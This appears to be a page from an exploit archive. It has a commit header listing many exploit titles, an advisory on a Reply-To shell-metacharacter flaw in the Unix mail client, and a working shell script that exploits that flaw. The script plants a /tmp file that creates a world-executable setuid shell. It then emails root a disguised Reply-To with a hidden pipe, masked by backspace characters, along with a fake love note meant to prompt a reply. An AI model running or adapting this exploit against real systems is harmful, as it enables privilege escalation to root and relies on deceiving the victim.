880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
74 lines
No EOL
2.3 KiB
Perl
Executable file
74 lines
No EOL
2.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/1910/info
|
|
|
|
mail is a simple console e-mail client. A vulnerability exists in several vendors' distributions of this program.
|
|
|
|
An attacker can compose an email message with a carefully-formed string in the Reply-To: field which includes shell meta-characters, and send it to a victim/recipient.
|
|
|
|
Upon receipt of this message, the recipient might normally see the dangerous text in the Reply-to field and delete the message without responding.
|
|
|
|
However, the field can be formed in such a way that these extra characters are concealed. By including a series of ^H characters, the attacker can affect the text in the field as it is displayed on the recipient's screen. As a result, the victim has no visible indication that the message variables (eg, from and reply-to) are malformed.
|
|
|
|
If the message elicits a response from the user, the contents of the reply-to field will be interpreted as a reference to a pre-existing file in /tmp, placed earlier by the attacker, which can contain arbitrary shell commands. This can grant the attacker an elevation of privileges, to that of his victim, and possibly root (if root replies to the dangerous email..).
|
|
|
|
#!/bin/sh
|
|
#
|
|
# I-Love-U.sh
|
|
|
|
# Exploit for | char in mail Reply-To field
|
|
# tested on linux Caldera (techno preview linux 2.4.0)
|
|
#
|
|
|
|
# Gregory Duchemin ( AKA C3rb3r )
|
|
# Security Consultant
|
|
#
|
|
# NEUROCOM CANADA
|
|
# 1001 bd Maisonneuve Ouest
|
|
# Montreal (Quebec) H3A 3C8 Canada
|
|
# c3rb3r@hotmail.com
|
|
|
|
|
|
|
|
# Cook Ingredients: one | char (hidden in an uppercase i),
|
|
# a bit of evil ^H to hide "/tmp/", and a girl to stimulate a reply ;)
|
|
#
|
|
|
|
|
|
cd /tmp
|
|
cat ^H^H^H^H^Hsabelle@hotmail.com << _End
|
|
#!/bin/sh
|
|
cp /bin/sh /tmp/newsh
|
|
chmod a+rws /tmp/newsh
|
|
_End
|
|
|
|
|
|
{
|
|
sleep 1
|
|
echo "HELO hotmail.com"
|
|
sleep 1
|
|
echo "MAIL FROM:<Isabelle@hotmail.com>"
|
|
sleep 1
|
|
echo "RCPT TO:<root>"
|
|
sleep 1
|
|
echo "DATA"
|
|
sleep 1
|
|
|
|
|
|
# Reply-to will appear as Reply-To:<|sabelle@hotmail.com>
|
|
|
|
echo "Reply-To:<|/tmp/^H^H^H^H^Hsabelle@hotmail.com>"
|
|
sleep 1
|
|
echo
|
|
echo "I saw you yesterday, since i'm a bit confused..i just wanted"
|
|
echo "to say you."
|
|
echo "I believe I LOVE YOU"
|
|
echo
|
|
echo "Isabelle."
|
|
echo "."
|
|
sleep 1
|
|
echo "QUIT"
|
|
sleep 2
|
|
}|telnet localhost 25
|
|
|
|
echo "Job is done...now check for newsh in /tmp"
|
|
echo
|
|
echo |